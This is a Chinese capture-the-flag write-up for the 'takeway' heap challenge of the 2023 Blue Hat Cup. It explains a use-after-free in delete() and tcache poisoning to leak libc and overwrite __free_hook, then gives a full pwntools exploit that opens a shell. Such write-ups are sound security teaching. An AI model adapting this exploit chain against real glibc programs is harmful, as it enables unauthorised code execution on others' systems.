蓝帽杯2023初赛复现

takeway

虽然这个题没有给libc,但是我们通过远程发现,该题是存在tcache的,肯定是2.26版本以上的,再搜索一下报错,就发现应该是2.27版本的,再简单逆向一下,发现存UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("Please input your order index: ");
__isoc99_scanf("%d", &v1);
if ( v1 >= _5__ || (v1 & 0x80000000) != 0 )
{
puts("Invalid order!");
exit(1);
}
free(*(void **)(8LL * (int)v1 + books)); // 只进行了删除,没有置为0.double free和use after free


return __readfsqword(0x28u) ^ v2;
}

于是我们可以通过攻击tcache的bin链去修改地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 从 tcache list 中获取内存
if (tc_idx < mp_.tcache_bins // 由 size 计算的 idx 在合法范围内
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL) // 该条 tcache 链不为空
{
return tcache_get (tc_idx);
}

/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]); // 获得一个 chunk,counts 减一
return (void *) e;
}

可以发现在进行从tcache中获取chunk的源代码中没有对tcache结构的检查,所以我们只需要修改地址即可,不需要构造任何东西

但是由于在写劫持free_hook的时候发现申请的空间大于5,于是我们可以通过将地址修改为保存个数的变量前8个,通过覆盖数据来修改个数,还能泄露libc地址

然后就是修改free_hook为one_gadget,或者system函数即可。

exp

下面是完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
# from ae64 import AE64
# from LibcSearcher import *

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = "debug"

name = './takeway1'

debug = 0
if debug:
p = remote('101.200.234.115',44394)
else:
p = process(name)

libcso = '../../../glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so'
#libcso = './libc-2.31.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)


s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x: log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.terminal = ['tmux', 'splitw', '-h']
add_idx = 1
delete_idx = 2
edit_idx = 3

def dbg():
gdb.attach(p,'''
b *0x401651
''')
pause()

bss = elf.bss()
li('bss = '+hex(bss))


def choice(cho):
sla('Please input your choose: ',str(cho))

def add(idx,con,content):
choice(add_idx)
sla('index\n',str(idx))
p.sendafter('name: ',con)
p.sendafter('remark: ',content)

def delete(idx):
choice(delete_idx)
sla('index: ',str(idx))

def edit(idx,con):
choice(edit_idx)
sla('index: ',str(idx))
p.sendafter('is: ',con)

add(0,b'aaa',b'111')
add(1,b'bbb',b'222')

delete(0)
delete(1)
#先获取两个tcache
edit(1,p64(0x404080))
#UAF修改头一个的next_addr,因为为LIFO所以我们就将1的块指向了0x404080
add(2, b'ccc', b'333')
#取出chunk1
add(3, b'\x00', p64(0x1111111111111111))
#取出0x404080,并且赋值

choice(edit_idx)
sla('index: ',str(3))
libc_base=l64() - libc.sym['_IO_2_1_stdout_']
li(hex(libc_base))
#泄露libc地址


p.sendafter('is: ',b'\x00')
delete(0)
delete(1)
free_hook=libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + ogs[1]

edit(1,p64(free_hook))
add(4,b'/bin/sh\x00',b'/bin/sh\x00')
add(8,p64(sys),b'c0ke')

delete(4)

itr()

heapSpary